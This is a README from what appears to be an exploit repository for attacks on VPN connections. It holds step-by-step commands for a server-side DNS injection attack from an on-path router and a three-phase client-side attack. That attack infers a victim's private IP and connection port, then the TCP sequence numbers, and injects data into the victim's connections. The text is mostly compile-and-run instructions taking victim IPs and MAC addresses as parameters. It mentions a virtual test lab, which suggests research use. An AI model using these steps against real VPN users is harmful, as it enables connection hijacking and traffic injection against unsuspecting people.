You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

83 lines
2.7 KiB

  1. # VeepExploit
  2. The current version of VPN attack code
  3. ##### Attack Machine Environment
  4. * C++
  5. * libtins (http://libtins.github.io/download/)
  6. ## Server-side attack
  7. #### Requirements
  8. * VPN client connected to a VPN server
  9. * Attack machine sitting somewhere in between VPN server and client forwarding all traffic between the two
  10. ***Note:*** Full virtual test environment setup for the server-side attack is detailed in the README within the `virt-lab` folder
  11. #### Running the DNS Attack Script
  12. 1. Change to udp-dns attack folder - `cd other-end-attack/dnuss/full_scan`
  13. 2. Compile attack script - `make`
  14. 3. Check to make sure vpn server has a conntrack entry for some vpn client's dns lookup (on vpn-server vm): `sudo conntrack -L | grep udp`
  15. 3. Try to inject from attack router - `sudo ./uud_send <dns_server_ip> <src_port (53)> <vpn_server_ip> <start_port> <end_port>`
  16. ## Client-side attack
  17. #### Requirements
  18. * VPN client connected to a VPN server
  19. * Reverse path filtering disabled on the VPN client machine
  20. * Attack router acting as the local network gateway for the victim (VPN client) machine
  21. #### Running the Full Attack Script
  22. * Rebuild all the attack scripts: `./rebuild_all.sh`
  23. * `cd full_attack`
  24. * Change `attack.sh` vars to appropriate values
  25. * `sh attack.sh <remote_ip>`
  26. ***Note:*** `remote_ip` specifies the IP address of the HTTP site.
  27. #### Testing Indivual attack phases
  28. ##### Phase 1 - Infer victim's private address
  29. * `cd first_phase`
  30. * `python3 send.py <victim_public_ip> <private_ip_range>`
  31. ***Note:*** `private_ip_range` specifies a `/24` network such as `10.7.7.0`.
  32. ##### Phase 2 - Infer the port being used to talk to some remote address
  33. * `cd sec_phase`
  34. * Edit `send.cpp` to use the correct MAC addresses
  35. * `g++ send.cpp -o send -ltins`
  36. * `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip>`
  37. ***Note:*** `<remote_ip>` is the address we wanna check if the client is connected to and the `<remote_port>` is almost always 80 or 443. The `<victim_wlan_ip>` is the public address of the victim and `<victim_priv_ip>` was found in phase 1. If the scripts not sniffing any challenge acks, then edit the `send.cpp` file to uncomment the `cout` line that prints out the remainder to check if the size of the encrypted packets has slightly changed on this system.
  38. ##### Phase 3 - Infer exact sequence number and in-window ack
  39. * `cd third_phase`
  40. * Edit `send.cpp` to use the correct MAC addresses
  41. * `g++ send.cpp -o send -ltins`
  42. * `./send <remote_ip> <remote_port> <victim_wlan_ip> <victim_priv_ip> <victim_port>`
  43. ***Note:*** `<victim_port>` was found in phase 2. This script currently just injects a hardcoded string into the TCP connnection but could be easily modified.